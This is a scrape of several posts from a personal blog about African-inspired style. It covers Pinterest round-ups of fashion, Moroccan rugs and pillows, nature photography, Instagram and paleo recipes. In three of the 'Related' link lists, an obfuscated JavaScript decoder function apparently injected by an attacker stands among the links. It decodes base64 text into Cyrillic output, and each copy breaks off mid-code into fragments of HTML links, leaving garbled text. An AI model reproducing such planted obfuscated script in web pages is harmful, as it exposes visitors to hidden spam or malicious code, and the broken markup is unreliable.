I have a Pinterest board called ‘African Style’ and finding pictures for it brings me much joy. We are truly a creative and beautiful people! I've decided to do a regular round-up of some of my favourites. Here's number
1.
Pins of the Week: Eclectic Global Boho Chic
That mouthful of a title summarises much of what visually turns me on. I think of an abundance of pattern, colour, prints – and wacky combinations of all three! Despite the diversity of traditions and design output, I think it's interesting to note the similarities when you look at Africa, Asia and Latin America. Similarities in feel and creative energy – i.e. something rather intangible – perhaps, more than anything else.
Follow me on Pinterest for more eclectic global boho chic.
Pins – left-right, from top: Photo by Leonce Raphael Agbodjelou; fashion from Abacaxi NYC; skirt from Abacaxi NYC; stylish dudes; prints galore; backpack; chairs; men's top from Jekkah; Asos Africa outfit.
------------------------------------------------------------------------
Related:
- African Inspiration on Pinterest
- Inspired: Photography by Leonce Raphael Agbodjelou
- African Inspiration on Pinterest: Have a Seat
- function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
and Poufs" href="http://www.afri-love.com/2014/06/pins-of-the-week-moroccan-rugs-pillows-and-poufs-from-one-kings-lane.html" target="_blank">Pins of the Week: Moroccan Rugs, Pillows and Poufs
Continue reading "Pins of the Week: Eclectic Global Boho Chic"
Pins of the Week: Moroccan Rugs, Pillows and Poufs from One Kings Lane
This week I came across some more home decor beauties for my wishlist – from a wide selection of Moroccan goods over at One Kings Lane.
Images from top: lime green pillow sham; green cactus silk rug; kilim pouf; red silk rug; hand loomed wool pillow; Azilal rug
All the best for the week and month ahead!
------------------------------------------------------------------------
Related:
- function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
andicraft" href="http://www.afri-love.com/2012/08/buy-african-online-shop-beldi-celebrating-moroccan-handicraft-.html" target="_blank">Buy African: Online Shop Beldi – Celebrating Moroccan Handicraft - Inspired: Boucherouite Rugs from Morocco
- African Inspiration on Pinterest
- The Afri-love List: 5 Must-Follow Pinners
- Ways to Use Pinterest as a Creative Tool
Continue reading "Pins of the Week: Moroccan Rugs, Pillows and Poufs from One Kings Lane"
Pins of the Week: Red, White and Pink
One of the things I love most about what I do is that I get to look for, look at and make beautiful images! Here are some that I came across this week. There was definitely a theme emerging – prints, beads and the red, pink and white palette.
Images from top:
- Kehinde jacket by Ikire Jones)
- Photo by Glen Green; art by Jamilla Okubo – see more of her work on a recent post
- Lanterns from Anthropologie; beaded necklace
- Retro Lanvin; silk scarf by Sabina Savage
Hope you're having a restful, rejuvenating and creative weekend!
Earth Day Celebration: Nature as Creative Inspiration
Nature has always been my number one source of creative inspiration. The diversity abundant in the flora, fauna and landscapes that surround us have been inspiring artists, craftspeople and designers, around the world, for centuries.
In this late Earth Day post (you may have noticed TypePad was down for a few days last week), I wanted to share some photographs I’ve taken – most of them recent, thanks to my new enjoyment of Instagram, and a couple from the archives.
Patterns in nature
The leaves above were found in my Aunt and Uncle’s garden in Wundanyi, a beautiful town in the Taita Hills. I love stripes in general so these leaves caught my eye. The photo was taken on my phone and I had some fun with VSCOcam to play with colour (the leaves are actually a dull greyish green) and really bring out the pattern.
Continue reading “Earth Day Celebration: Nature as Creative Inspiration”
The Afri-love List: 5 Must-Follow Pinners
An abundance of Pinterest inspiration awaits you ,with all things Afri-fabulous and much much more. Here are some of my favourite Pinners and a few images to give you a taste of what to expect from their boards …
Continue reading “The Afri-love List: 5 Must-Follow Pinners”
Afri-love on Instagram (and Why I’m Loving the Network)
So I bit the bullet and decided to try out this Instagram thing, despite just not getting it for years. It's been a couple of weeks now and I'm really enjoying it! Pinterest will always be my first love – it's such a useful tool for my design work and creative projects but, I've found space in my life for Instagram too. Here's what I like about it:
Continue reading “Afri-love on Instagram (and Why I’m Loving the Network)”
African Inspiration on Pinterest: Celebrating Blackness in Fashion Photography
I've come across some incredibly beautiful fashion photography where, the model's blackness is emphasised for dramatic effect. Some people feel that the exaggeration is offensive, some people view it as celebratory. If we were to put histories aside for just a few minutes, and purely regard these as pieces of fine aesthetic craftmanship …
Continue reading “African Inspiration on Pinterest: Celebrating Blackness in Fashion Photography”
New Pinterest Board: Paleo Recipes
In an effort to continue experiencing the amazing results I did during my paleo Whole30 + Autoimmune Protocol experiement – and to show people just how exciting food can be, even especially when you've cut out grains, sugar, legumes, dairy and processed foods – I've created a specific 'Paleo Recipes' Pinterest board to go alongside my 'Going Paleo/Primal' board.
Today marks the start of a Whole7 which I'm doing with a friend who finds the 30-day committment too daunting. The hope is that after 7 days, 7 more will seem a little more doable … and then 7 more and then …
This board is inspiration for you Alli. Some of the recipes I've tried and I look forward to testing out the rest. Everybody – please share any others you recommend. Bon appetit!
PS I finally started reading It Starts with Food last week and it presents the science and biology behind paleo eating in a very accessible way that will compel you to reevaluate your food choices pronto. I'm still in the 'science-y' bit – will report back when I'm through.
------------------------------------------------------------------------
Related posts:
- Amazing Results from my Whole30 + Autoimmune Protocol Experiment
- function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
- How to Resist Temptation at Events When Going Primal (or Following Any Other Unconventional Diet) – Fantastic tips from my formerly vegan and vegetarian friend, Crystal
Don't miss an installment – different ways to get your Afri-love delivered. You can also stay up to date by liking the Afri-love Facebook page or following Afri-love (@afrilove) on Twitter or on Google+.
Check out my many Africa-related Pinterest boards covering the arts, design, music and more.
Subscribe for monthly updates with Afri-love highlights and developments, as well as info on interesting events, must-reads and more for you to check out elsewhere.
Labour/May Day Special: Posts for those who’ll be resting and posts for those who’ll be building
For many of you around the world, today – labour day or May Day – is a holiday. Free time for you to spend relaxing, with yourself or with family and friends, and for some of you, extra time to spend working on building that idea you've been nurturing and perhaps even executing.
Whether you're taking a break from your labour or indeed hustling to transform its shape, here's some inspiration for you via popular posts from the Afri-love archives.